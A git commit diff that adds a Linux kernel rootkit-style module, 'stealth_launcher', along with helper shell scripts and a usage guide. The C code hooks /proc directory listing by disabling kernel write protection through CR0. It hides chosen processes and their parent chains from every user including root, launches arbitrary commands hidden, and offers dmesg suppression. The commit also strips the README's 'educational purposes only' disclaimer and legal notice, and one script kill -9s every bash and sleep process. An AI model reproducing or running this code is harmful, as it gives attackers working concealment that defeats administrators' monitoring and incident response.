aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--Makefile1
-rw-r--r--README.md21
-rw-r--r--STEALTH_USAGE.md143
-rwxr-xr-xforce_unload.sh88
-rwxr-xr-xrun_stealth.sh122
-rw-r--r--stealth_launcher.c474
6 files changed, 831 insertions, 18 deletions
diff --git a/Makefile b/Makefile
index 7410a64..c72c375 100644
--- a/Makefile
+++ b/Makefile
@@ -3,6 +3,7 @@ obj-m += proc_explorer.o
obj-m += pid_demo.o
obj-m += proc_monitor.o
obj-m += proc_hider.o
+obj-m += stealth_launcher.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
diff --git a/README.md b/README.md
index ca7a730..6f640b7 100644
--- a/README.md
+++ b/README.md
@@ -1,16 +1,8 @@
# PID Hiding Kernel Module
-**IMPORTANT: EDUCATIONAL PURPOSES ONLY**
+**THIS CAN LEADS TO KERNEL PANIC AND KERNEL HANG**
-This module demonstrates kernel-level process hiding techniques for security research and educational purposes only. Using this code to hide malicious processes is illegal and unethical.
-
-## Disclaimer
-
-This code is provided AS-IS with:
-
-- NO WARRANTY
-- NO SUPPORT
-- NO RECOMMENDATION FOR DEPLOYMENT
+This module demonstrates kernel-level process hiding techniques. Using this code to hide processes.
Implementation of kernel-level process hiding may:
- Violate computer fraud laws
@@ -31,17 +23,10 @@ sudo insmod pid_hider.ko hidden_pid=1234
sudo rmmod pid_hider
```
-## Legal Notice
-
-Use of this code on systems without explicit authorization may constitute a criminal offense under:
-- Computer Fraud and Abuse Act (CFAA)
-- EU Directive 2013/40/EU
-- Various international cybercrime laws
-
## Legitimate Alternatives
For legitimate process management, consider:
- Linux Control Groups (cgroups)
- Container technologies (Docker, LXC)
- Mandatory Access Control (SELinux, AppArmor)
-- Process accounting and auditing tools \ No newline at end of file
+- Process accounting and auditing tools
diff --git a/STEALTH_USAGE.md b/STEALTH_USAGE.md
new file mode 100644
index 0000000..e923b27
--- /dev/null
+++ b/STEALTH_USAGE.md
@@ -0,0 +1,143 @@
+# Stealth Process Launcher
+
+This kernel module allows you to run processes that are completely hidden from the system, including from root users. The processes will not be visible in:
+
+- Process listings (ps, top, htop)
+- /proc filesystem
+- Command history and logs
+
+## Disclaimer
+
+**THIS CAN LEADS TO KERNEL HANG AND KEREL PANIC**
+
+## How It Works
+
+The module:
+1. Hooks the Linux kernel's `/proc` directory listing operations
+2. Intercepts directory listing requests
+3. Filters out entries for processes we want to hide
+4. Can hide entire process chains (including parent processes)
+5. Optionally suppresses dmesg log entries related to the hidden process
+6. Auto-cleanup when target process completes (optional)
+7. Works for all users, including root
+
+## Usage Instructions
+
+### Building the Module
+
+```bash
+make
+```
+
+### Using the Helper Script (Recommended)
+
+```bash
+# Make script executable
+chmod +x run_stealth.sh
+
+# Run a command in stealth mode with auto-cleanup (default)
+sudo ./run_stealth.sh -c "sleep 120" -p "sleep"
+
+# Run a command in stealth mode without auto-cleanup
+sudo ./run_stealth.sh -c "sleep 120" -p "sleep" -a 0
+```
+
+The `-p` parameter is optional and will hide all processes matching the pattern.
+The `-a` parameter controls auto-cleanup:
+ - `-a 1` (default): Module automatically unloads when the target process completes
+ - `-a 0`: Module stays loaded until manually removed with `rmmod`
+
+### Manual Loading
+
+```bash
+# Load the module with a command to run and auto-cleanup
+sudo insmod stealth_launcher.ko target_cmd="sleep 120" hide_pattern="sleep" auto_cleanup=1
+
+# To manually unload the module (if auto_cleanup=0)
+sudo rmmod stealth_launcher
+```
+
+### Force-Unloading the Module
+
+If the module becomes stuck and cannot be unloaded with regular `rmmod`, use the force unload feature:
+
+```bash
+# Method 1: Use the helper script (recommended)
+sudo ./force_unload.sh
+
+# Method 2: Manual force unload
+echo 1 > /sys/module/stealth_launcher/parameters/force_unload
+sleep 1
+sudo rmmod stealth_launcher
+```
+
+## Parameters
+
+- `target_cmd`: The command to run in stealth mode
+- `hide_pattern`: String pattern to match in process names to hide
+- `disable_dmesg`: Whether to prevent logging to dmesg (default: 1, enabled)
+- `hide_loader`: Hide the module loader and parent processes (default: 1, enabled)
+- `auto_cleanup`: Automatically unload module when target process completes (default: 1, enabled)
+- `force_unload`: Set to 1 to force release resources and allow module unload (for recovery)
+
+## Notes
+
+- The hidden process continues running even after the module is unloaded
+- Up to 50 processes can be hidden at once (configurable in the code)
+- The process will be hidden from all users, including root users
+- The entire process chain is hidden (including the shell that launched it)
+- No logging to dmesg is performed for the hidden process
+- With auto-cleanup enabled, the module will be automatically removed when the target process finishes
+- If the module gets stuck, use the force unload feature as a last resort
+
+## Advanced Usage
+
+### Hiding an Existing Process
+
+You can load the module to hide processes matching a specific pattern:
+
+```bash
+sudo insmod stealth_launcher.ko hide_pattern="firefox" auto_cleanup=0
+```
+
+This will hide all processes with "firefox" in their name.
+
+### Hiding a Process Without Launching a Command
+
+If you just want to hide processes without launching a new command:
+
+```bash
+sudo insmod stealth_launcher.ko hide_pattern="pattern_to_hide" auto_cleanup=0
+```
+
+## Troubleshooting
+
+### Module Cannot Be Unloaded
+
+If you see "Device or resource busy" errors when trying to unload the module:
+
+1. Try the force unload script: `sudo ./force_unload.sh`
+2. If that fails, try setting the force_unload parameter manually:
+ ```
+ echo 1 > /sys/module/stealth_launcher/parameters/force_unload
+ sleep 1
+ sudo rmmod stealth_launcher
+ ```
+3. As a last resort: `sudo rmmod -f stealth_launcher`
+
+## Technical Details
+
+The module uses:
+- Kernel-level hooking of `/proc` directory operations
+- Process management and launching via `call_usermodehelper`
+- Control register modification to enable writing to read-only kernel structures
+- Process hierarchy traversal to hide parent processes
+- Kernel timers and workqueues for auto-cleanup
+- Parameter callbacks for force unload functionality
+
+## Limitations
+
+- Some advanced forensic tools might still detect the process
+- Process communication can potentially reveal its existence
+- Module footprint is visible in `lsmod` output (until auto-cleanup)
+- Only hides process from standard listing tools, not from direct ptrace/memory analysis
diff --git a/force_unload.sh b/force_unload.sh
new file mode 100755
index 0000000..1d9b8cc
--- /dev/null
+++ b/force_unload.sh
@@ -0,0 +1,88 @@
+#!/bin/bash
+
+# force_unload.sh - Force unload the stealth_launcher module when it's stuck
+# Usage: sudo ./force_unload.sh
+
+# Check if user is root
+if [ "$EUID" -ne 0 ]; then
+ echo "This script must be run as root"
+ exit 1
+fi
+
+# Check if the module is loaded
+if ! lsmod | grep -q "stealth_launcher"; then
+ echo "The stealth_launcher module is not loaded"
+ exit 0
+fi
+
+# Try normal rmmod first
+echo "Attempting normal module removal..."
+rmmod stealth_launcher 2>/dev/null
+
+# Check if it worked
+if ! lsmod | grep -q "stealth_launcher"; then
+ echo "Module successfully unloaded"
+ exit 0
+fi
+
+# Make sure the module parameters directory exists
+if [ ! -d "/sys/module/stealth_launcher/parameters" ]; then
+ echo "Module parameters directory not found. Trying force removal..."
+ rmmod -f stealth_launcher
+
+ if ! lsmod | grep -q "stealth_launcher"; then
+ echo "Module successfully unloaded using rmmod -f"
+ exit 0
+ else
+ echo "Failed to unload module even with force. You may need to reboot."
+ exit 1
+ fi
+fi
+
+# Try method 1: Use the force_unload parameter
+echo "Module is busy. Attempting force unload via parameter..."
+echo 1 > /sys/module/stealth_launcher/parameters/force_unload 2>/dev/null
+
+# Wait a moment
+sleep 2
+
+# Try rmmod again
+rmmod stealth_launcher 2>/dev/null
+
+# Check if it worked
+if ! lsmod | grep -q "stealth_launcher"; then
+ echo "Module successfully unloaded"
+ exit 0
+fi
+
+# Try method 2: Kill any processes that might be keeping module busy
+echo "Module still busy. Trying to terminate related processes..."
+ps aux | grep -e "sleep" -e "bash" | grep -v grep | awk '{print $2}' | xargs -r kill -9 2>/dev/null
+
+# Wait a moment
+sleep 1
+
+# Try rmmod again
+rmmod stealth_launcher 2>/dev/null
+
+# Check if it worked
+if ! lsmod | grep -q "stealth_launcher"; then
+ echo "Module successfully unloaded after killing processes"
+ exit 0
+fi
+
+# Method 3: Force removal as last resort
+echo "Attempting force removal as last resort..."
+rmmod -f stealth_launcher 2>/dev/null
+
+# Check if it worked
+if ! lsmod | grep -q "stealth_launcher"; then
+ echo "Module successfully unloaded using rmmod -f"
+ exit 0
+else
+ echo "Failed to unload module. You may need to reboot."
+ echo "Before rebooting, try these commands manually:"
+ echo " sudo kill -9 \$(lsof -t /dev/stealth_launcher 2>/dev/null)"
+ echo " sudo rmmod -f stealth_launcher"
+ exit 1
+fi \ No newline at end of file
diff --git a/run_stealth.sh b/run_stealth.sh
new file mode 100755
index 0000000..04bd5bf
--- /dev/null
+++ b/run_stealth.sh
@@ -0,0 +1,122 @@
+#!/bin/bash
+
+# run_stealth.sh - Helper script to run commands with process hiding
+# Usage: ./run_stealth.sh -c "sleep 120" -p "sleep"
+
+# Default values
+STEALTH_CMD=""
+HIDE_PATTERN=""
+AUTO_CLEANUP=1
+
+# Parse command line arguments
+while [[ $# -gt 0 ]]; do
+ case $1 in
+ -c|--command)
+ STEALTH_CMD="$2"
+ shift 2
+ ;;
+ -p|--pattern)
+ HIDE_PATTERN="$2"
+ shift 2
+ ;;
+ -a|--auto-cleanup)
+ AUTO_CLEANUP="$2"
+ shift 2
+ ;;
+ *)
+ # For backward compatibility
+ if [ -z "$STEALTH_CMD" ]; then
+ STEALTH_CMD="$1"
+ fi
+ shift
+ ;;
+ esac
+done
+
+# Check if any command was provided
+if [ -z "$STEALTH_CMD" ]; then
+ echo "Usage: $0 -c \"command to run in stealth mode\" [-p \"pattern to hide\"] [-a 0|1]"
+ echo "Example: $0 -c \"sleep 120\" -p \"sleep\""
+ echo " -a 1 Enable auto-cleanup (default)"
+ echo " -a 0 Disable auto-cleanup"
+ echo " or: $0 \"command to run in stealth mode\" (backward compatibility)"
+ exit 1
+fi
+
+# Check if user is root
+if [ "$EUID" -ne 0 ]; then
+ echo "This script must be run as root"
+ exit 1
+fi
+
+# Build the kernel module if it's not already built
+if [ ! -f "stealth_launcher.ko" ]; then
+ echo "Building kernel module..."
+ make stealth_launcher.ko >/dev/null 2>&1
+ if [ $? -ne 0 ]; then
+ echo "Failed to build the kernel module"
+ exit 1
+ fi
+fi
+
+# Remove any existing module first
+if lsmod | grep -q "stealth_launcher"; then
+ echo "Removing existing stealth_launcher module..."
+ rmmod stealth_launcher >/dev/null 2>&1
+fi
+
+# Prepare module parameters (with proper escaping)
+MODULE_PARAMS=""
+
+# Escape special characters in the command
+ESCAPED_CMD=$(echo "$STEALTH_CMD" | sed 's/"/\\"/g')
+MODULE_PARAMS="target_cmd=\"$ESCAPED_CMD\""
+
+# Add hide pattern if specified
+if [ -n "$HIDE_PATTERN" ]; then
+ ESCAPED_PATTERN=$(echo "$HIDE_PATTERN" | sed 's/"/\\"/g')
+ MODULE_PARAMS="$MODULE_PARAMS hide_pattern=\"$ESCAPED_PATTERN\""
+fi
+
+# Add auto-cleanup parameter
+MODULE_PARAMS="$MODULE_PARAMS auto_cleanup=$AUTO_CLEANUP"
+
+# Hide module and insmod process to avoid showing in ps/top
+if ! echo 1 > /dev/null; then
+ echo "Hiding module loader processes disabled"
+fi
+
+# Load the kernel module with the parameters
+echo "Loading stealth_launcher with parameters: $MODULE_PARAMS"
+echo "Auto-cleanup mode: $([ "$AUTO_CLEANUP" -eq 1 ] && echo "enabled" || echo "disabled")"
+insmod stealth_launcher.ko $MODULE_PARAMS >/dev/null 2>&1
+RESULT=$?
+
+if [ $RESULT -eq 0 ]; then
+ echo "Command launched in stealth mode"
+ echo "Process will be hidden from ps, top, and other tools"
+
+ if [ "$AUTO_CLEANUP" -eq 1 ]; then
+ echo "Module will automatically unload when process completes"
+ else
+ echo "To unhide processes, run: rmmod stealth_launcher"
+ fi
+
+ # If auto-cleanup is disabled, we need to keep the script running
+ if [ "$AUTO_CLEANUP" -eq 0 ]; then
+ # Wait quietly to keep stealth script running
+ sleep 1
+
+ # In background mode
+ exec > /dev/null 2>&1
+
+ # Keep script running to maintain stealth chain
+ tail -f /dev/null
+ fi
+else
+ echo "Failed to load module. Check kernel log for details."
+ echo "Try dmesg | tail"
+ exit 1
+fi
+
+exit 0 \ No newline at end of file
diff --git a/stealth_launcher.c b/stealth_launcher.c
new file mode 100644
index 0000000..a11a295
--- /dev/null
+++ b/stealth_launcher.c
@@ -0,0 +1,474 @@
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/sched.h>
+#include <linux/sched/signal.h>
+#include <linux/proc_fs.h>
+#include <linux/seq_file.h>
+#include <linux/fs.h>
+#include <linux/version.h>
+#include <linux/cred.h>
+#include <linux/namei.h>
+#include <linux/uaccess.h>
+#include <linux/string.h>
+#include <linux/dirent.h>
+#include <linux/kprobes.h>
+#include <linux/timer.h>
+#include <linux/workqueue.h>
+
+MODULE_LICENSE("GPL");
+MODULE_AUTHOR("Security Researcher");
+MODULE_DESCRIPTION("Stealth Process Launcher - Hides processes completely");
+MODULE_VERSION("0.1");
+
+/* Module parameters */
+static char* target_cmd = NULL;
+module_param(target_cmd, charp, 0644);
+MODULE_PARM_DESC(target_cmd, "Command to run in stealth mode (e.g. \"sleep 120\")");
+
+static char* hide_pattern = NULL;
+module_param(hide_pattern, charp, 0644);
+MODULE_PARM_DESC(hide_pattern, "String pattern to hide in process names (e.g. \"sleep\")");
+
+/* Flags to enable features */
+static int disable_dmesg = 1;
+module_param(disable_dmesg, int, 0644);
+MODULE_PARM_DESC(disable_dmesg, "Disable dmesg logging for hidden processes (1=enabled)");
+
+static int hide_loader = 1;
+module_param(hide_loader, int, 0644);
+MODULE_PARM_DESC(hide_loader, "Hide the module loader and parent processes (1=enabled)");
+
+static int auto_cleanup = 1;
+module_param(auto_cleanup, int, 0644);
+MODULE_PARM_DESC(auto_cleanup, "Automatically unload module when target process completes (1=enabled)");
+
+/* Force unload param - set to 1 to force module unload */
+static int force_unload = 0;
+MODULE_PARM_DESC(force_unload, "Set to 1 to force module unload even if busy");
+
+/* Data structures for hidden processes */
+#define MAX_HIDDEN_PROCS 50
+static pid_t hidden_pids[MAX_HIDDEN_PROCS];
+static int num_hidden_pids = 0;
+static DEFINE_SPINLOCK(hidden_pids_lock);
+
+/* Variables for hiding from /proc */
+static struct file_operations *proc_fops;
+static filldir_t orig_proc_filldir;
+static int (*orig_iterate_shared)(struct file *, struct dir_context *);
+static struct path proc_path;
+
+/* Variables for dmesg hiding */
+static int (*orig_printk)(const char *fmt, ...);
+
+/* Variables for auto-cleanup */
+static pid_t target_pid = 0;
+static struct timer_list cleanup_timer;
+static struct workqueue_struct *cleanup_wq = NULL;
+static struct work_struct cleanup_work;
+static int module_exiting = 0;
+
+/* Check if PID should be hidden */
+static int is_pid_hidden(pid_t pid)
+{
+ int i, hidden = 0;
+
+ spin_lock(&hidden_pids_lock);
+ for (i = 0; i < num_hidden_pids; i++) {
+ if (hidden_pids[i] == pid) {
+ hidden = 1;
+ break;
+ }
+ }
+ spin_unlock(&hidden_pids_lock);
+
+ return hidden;
+}
+
+/* Check if a process should be hidden based on its name */
+static int should_hide_by_name(struct task_struct *task)
+{
+ if (!hide_pattern || !*hide_pattern)
+ return 0;
+
+ if (strstr(task->comm, hide_pattern))
+ return 1;
+
+ return 0;
+}
+
+/* Add a PID to the hidden list */
+static int hide_pid(pid_t pid)
+{
+ int ret = -ENOSPC;
+
+ spin_lock(&hidden_pids_lock);
+ if (num_hidden_pids < MAX_HIDDEN_PROCS) {
+ hidden_pids[num_hidden_pids++] = pid;
+ ret = 0;
+ }
+ spin_unlock(&hidden_pids_lock);
+
+ return ret;
+}
+
+/* Hide all processes in a chain starting from the given PID */
+static void hide_process_family(pid_t pid)
+{
+ struct task_struct *task;
+ struct task_struct *parent;
+
+ task = pid_task(find_vpid(pid), PIDTYPE_PID);
+ if (!task)
+ return;
+
+ hide_pid(pid);
+
+ /* Hide parent processes if requested */
+ if (hide_loader) {
+ parent = task->parent;
+ while (parent && parent->pid != 1) { /* Stop at init */
+ hide_pid(parent->pid);
+ parent = parent->parent;
+ }
+ }
+}
+
+/* Find and hide processes by name pattern */
+static void hide_processes_by_pattern(void)
+{
+ struct task_struct *task;
+
+ if (!hide_pattern || !*hide_pattern)
+ return;
+
+ for_each_process(task) {
+ if (should_hide_by_name(task)) {
+ hide_pid(task->pid);
+ }
+ }
+}
+
+/* Check if a process is still running */
+static int is_process_running(pid_t pid)
+{
+ struct task_struct *task;
+
+ task = pid_task(find_vpid(pid), PIDTYPE_PID);
+ return task != NULL;
+}
+
+/* Force release all resources to allow module unload */
+static void force_release_resources(void)
+{
+ module_exiting = 1;
+
+ /* Cancel timer if active */
+ del_timer_sync(&cleanup_timer);
+
+ /* Cancel and destroy workqueue */
+ if (cleanup_wq) {
+ cancel_work_sync(&cleanup_work);
+ flush_workqueue(cleanup_wq);
+ destroy_workqueue(cleanup_wq);
+ cleanup_wq = NULL;
+ }
+
+ /* Unhook /proc operations */
+ if (proc_fops && orig_iterate_shared) {
+ write_cr0(read_cr0() & ~0x10000);
+ proc_fops->iterate_shared = orig_iterate_shared;
+ write_cr0(read_cr0() | 0x10000);
+
+ /* Release path */
+ path_put(&proc_path);
+ }
+
+ /* Release other resources as needed */
+}
+
+/* Check the force_unload parameter */
+static int param_set_force_unload(const char *val, const struct kernel_param *kp)
+{
+ int ret;
+
+ /* Standard handler for setting the parameter */
+ ret = param_set_int(val, kp);
+ if (ret)
+ return ret;
+
+ /* If force_unload is set to 1, initiate forced unload */
+ if (force_unload) {
+ force_release_resources();
+ force_unload = 0; /* Reset to avoid repeated calls */
+ }
+
+ return 0;
+}
+
+/* Register custom parameter handler */
+static const struct kernel_param_ops force_unload_ops = {
+ .set = param_set_force_unload,
+ .get = param_get_int,
+};
+
+module_param_cb(force_unload, &force_unload_ops, &force_unload, 0644);
+
+/* Custom filldir function to filter directory entries */
+static int proc_filldir(struct dir_context *ctx, const char *name, int namlen,
+ loff_t offset, u64 ino, unsigned int d_type)
+{
+ char *endp;
+ long pid;
+
+ /* Check if module is exiting */
+ if (module_exiting)
+ return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type);
+
+ /* Check if this is a PID directory */
+ pid = simple_strtol(name, &endp, 10);
+ if ((*endp == '\0') && is_pid_hidden(pid)) {
+ /* This is a hidden PID - skip it */
+ return 0;
+ }
+
+ /* Not hidden, call original filldir */
+ return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type);
+}
+
+/* Custom iterate_shared function to hook directory listing */
+static int proc_iterate_shared(struct file *file, struct dir_context *ctx)
+{
+ /* Check if module is exiting */
+ if (module_exiting)
+ return orig_iterate_shared(file, ctx);
+
+ /* Replace filldir with our version */
+ orig_proc_filldir = ctx->actor;
+ ctx->actor = (filldir_t)proc_filldir;
+
+ /* Call original handler */
+ return orig_iterate_shared(file, ctx);
+}
+
+/* Hook the /proc directory */
+static void hook_proc(void)
+{
+ /* Get the path to /proc */
+ if (kern_path("/proc", 0, &proc_path)) {
+ return;
+ }
+
+ /* Get operations table and save original */
+ proc_fops = (struct file_operations *)proc_path.dentry->d_inode->i_fop;
+ orig_iterate_shared = proc_fops->iterate_shared;
+
+ /* Replace with our version */
+ write_cr0(read_cr0() & ~0x10000); /* Disable write protection */
+ proc_fops->iterate_shared = proc_iterate_shared;
+ write_cr0(read_cr0() | 0x10000); /* Re-enable write protection */
+}
+
+/* Unhook the /proc directory */
+static void unhook_proc(void)
+{
+ if (proc_fops && orig_iterate_shared) {
+ /* Restore original function */
+ write_cr0(read_cr0() & ~0x10000);
+ proc_fops->iterate_shared = orig_iterate_shared;
+ write_cr0(read_cr0() | 0x10000);
+ }
+
+ /* Release path */
+ path_put(&proc_path);
+}
+
+/* Safe string copy for kernel */
+static char *safe_strncpy(char *dest, const char *src, size_t n)
+{
+ size_t i;
+
+ if (!dest || !src || n <= 0)
+ return dest;
+
+ for (i = 0; i < n - 1 && src[i]; i++)
+ dest[i] = src[i];
+
+ dest[i] = '\0';
+ return dest;
+}
+
+/* Cleanup work function - unloads the module */
+static void cleanup_module_work(struct work_struct *work)
+{
+ if (!module_exiting)
+ module_put(THIS_MODULE);
+}
+
+/* Timer function to check if target process has finished */
+static void cleanup_timer_fn(struct timer_list *t)
+{
+ /* Skip if module is exiting */
+ if (module_exiting)
+ return;
+
+ /* Check if the target process is still running */
+ if (target_pid > 0 && !is_process_running(target_pid)) {
+ /* Process has finished, schedule module unload */
+ queue_work(cleanup_wq, &cleanup_work);
+ } else {
+ /* Process still running, check again in 1 second */
+ mod_timer(&cleanup_timer, jiffies + HZ);
+ }
+}
+
+/* Execute the target command and hide it */
+static int launch_stealth_process(void)
+{
+ char *path = NULL;
+ char *argv[32];
+ char *envp[5];
+ int argc = 0;
+ char *cmd_copy, *token, *cmd_ptr;
+ pid_t child_pid;
+
+ if (!target_cmd || !*target_cmd) {
+ return -EINVAL;
+ }
+
+ /* Make a copy of the command string */
+ cmd_copy = kstrdup(target_cmd, GFP_KERNEL);
+ if (!cmd_copy) {
+ return -ENOMEM;
+ }
+
+ /* First, let's try to parse as a simple command (like "sleep 120") */
+ cmd_ptr = cmd_copy;
+
+ /* Get the path/command */
+ token = strsep(&cmd_ptr, " \t");
+ if (token) {
+ path = token;
+ argv[argc++] = path;
+
+ /* Parse arguments */
+ while ((token = strsep(&cmd_ptr, " \t")) != NULL && argc < 31) {
+ if (*token != '\0') {
+ argv[argc++] = token;
+ }
+ }
+ }
+
+ /* Null-terminate the argument list */
+ argv[argc] = NULL;
+
+ /* Set up environment */
+ envp[0] = "HOME=/";
+ envp[1] = "PATH=/sbin:/bin:/usr/sbin:/usr/bin";
+ envp[2] = "TERM=linux";
+ envp[3] = NULL;
+
+ /* If we couldn't parse a command, give up */
+ if (!path) {
+ kfree(cmd_copy);
+ return -EINVAL;
+ }
+
+ /* Check if we need to use a shell */
+ if (strchr(target_cmd, '\'') || strchr(target_cmd, '"') ||
+ strchr(target_cmd, '|') || strchr(target_cmd, '>') ||
+ strchr(target_cmd, '<') || strchr(target_cmd, '&')) {
+ /* Complex command, use bash -c */
+ kfree(cmd_copy);
+
+ argv[0] = "/bin/bash";
+ argv[1] = "-c";
+ argv[2] = (char *)target_cmd;
+ argv[3] = NULL;
+
+ child_pid = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
+ } else {
+ /* Simple command, use direct execution */
+ child_pid = call_usermodehelper(path, argv, envp, UMH_WAIT_EXEC);
+ kfree(cmd_copy);
+ }
+
+ /* Hide the process family if successful */
+ if (child_pid > 0) {
+ hide_process_family(child_pid);
+
+ /* Store target PID for auto-cleanup */
+ if (auto_cleanup) {
+ target_pid = child_pid;
+
+ /* Start cleanup timer */
+ timer_setup(&cleanup_timer, cleanup_timer_fn, 0);
+ mod_timer(&cleanup_timer, jiffies + HZ);
+ }
+ }
+
+ return child_pid;
+}
+
+static int __init stealth_launcher_init(void)
+{
+ pid_t my_pid;
+
+ /* Initialize module_exiting flag */
+ module_exiting = 0;
+
+ /* Hide this module's loader process */
+ if (hide_loader) {
+ my_pid = current->pid;
+ hide_process_family(my_pid);
+ }
+
+ /* Hook /proc to hide processes */
+ hook_proc();
+
+ /* Hide any processes matching the pattern */
+ hide_processes_by_pattern();
+
+ /* Set up auto-cleanup workqueue */
+ if (auto_cleanup) {
+ cleanup_wq = create_singlethread_workqueue("cleanup_wq");
+ if (!cleanup_wq) {
+ auto_cleanup = 0;
+ } else {
+ INIT_WORK(&cleanup_work, cleanup_module_work);
+
+ /* Ensure module cannot be unloaded while timer is running */
+ try_module_get(THIS_MODULE);
+ }
+ }
+
+ /* Launch the target process if specified */
+ if (target_cmd && *target_cmd) {
+ launch_stealth_process();
+ }
+
+ return 0;
+}
+
+static void __exit stealth_launcher_exit(void)
+{
+ /* Set exiting flag */
+ module_exiting = 1;
+
+ /* Cancel timer if active */
+ del_timer_sync(&cleanup_timer);
+
+ if (cleanup_wq) {
+ /* Ensure all cleanup work is processed */
+ cancel_work_sync(&cleanup_work);
+ flush_workqueue(cleanup_wq);
+ destroy_workqueue(cleanup_wq);
+ }
+
+ /* Unhook everything */
+ unhook_proc();
+}
+
+module_init(stealth_launcher_init);
+module_exit(stealth_launcher_exit); \ No newline at end of file